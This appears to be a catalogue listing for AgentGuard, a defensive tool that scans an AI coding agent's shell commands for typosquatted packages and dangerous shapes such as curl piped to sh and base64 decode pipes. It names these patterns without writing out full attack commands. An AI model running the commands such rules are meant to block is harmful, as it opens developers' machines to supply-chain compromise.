agentguard_scanLABSCO SUMMARY
The install command is where a prompt injection cashes out.
Everything local — blocklist, typosquat distance, dangerous patterns — answers instantly, so the checks that matter most cost nothing per command. The network checks add roughly a second each and can be switched off one at a time in the config, which is how you keep an interactive session fast.
What it is
A Python tool that inspects the shell commands an AI coding agent wants to run and blocks the dangerous ones. It works as a Claude Code hook, a CLI, or an MCP server with three tools.
What you get
- A shell command scanned and given a verdict — agentguard_scan
- A package name checked on its own — agentguard_check_package
- The policy read and changed — agentguard_config
- Instant local checks: a blocklist of known-bad packages, edit-distance and homoglyph typosquat detection against top npm and PyPI names, scope confusion such as @angullar/core against @angular/core, and dangerous shapes including curl piped to sh, sudo installs and base64 decode pipes
- Network checks: registry metadata (package younger than 7 days, no repo link, no maintainers), GitHub repository verification, VirusTotal hash lookups, and OSV.dev advisories cached for an hour
- Five severity levels — CRITICAL and HIGH block, MEDIUM warns, LOW and INFO allow — and three modes that move the line: strict at 30, normal at 60, permissive at 80
- Coverage across npm, pnpm, yarn, bun, pip, uv, composer, go, cargo, gem, brew, git clone and curl or wget downloads
Requirements
Install it from source — clone the repository and run pip install -e ".[dev]" inside it — because there is no agentguard package on PyPI or npm. agentguard install --global writes the PreToolUse hook into ~/.claude/settings.json, and agentguard mcp runs it as an MCP server. Configuration lives at ~/.agentguard/config.json. VT_API_KEY is optional and enables the VirusTotal checks — the free tier allows 4 requests a minute and 500 a day.
Setup effort
Build from source — git clone https://github.com/momenbasel/AgentGuard.git
USE CASES
01
Stopping a typosquat before it installs
Edit distance and homoglyph detection against the top npm and PyPI names catches lodahs for lodash and reqeusts for requests, at HIGH severity.
02
Blocking a piped shell installer
A curl-to-sh command is CRITICAL and blocked outright, because there is no point at which you could have reviewed what it runs.
03
Checking a package nobody has heard of
Registry metadata and repository verification surface age, maintainers and stars, and OSV.dev is queried live for MAL and GHSA advisories.
04
Allowing your own internal packages
Add them to the allowlist so an internal name that looks unusual to a heuristic stops interrupting every install.
3 tools
Listed in project docs. Your client may show a different list.
agentguard_check_packageagentguard_configBEFORE YOU INSTALL
What to know first
Tools you get
3 tools named in the project's documentation.
Requires
pip / pip3
Where it runs
The documented client runs the server on your machine.
INSTALLATION
Connect your client
This one is built from source rather than installed with a single command.
Server setup
TERMINAL
git clone https://github.com/momenbasel/AgentGuard.git
cd AgentGuard
pip install -e ".[dev]"MCP Clients
Any MCP client
ANY MCP CLIENT · JSON
{
"mcpServers": {
"agentguard": {
"command": "agentguard",
"args": [
"mcp"
]
}
}
}
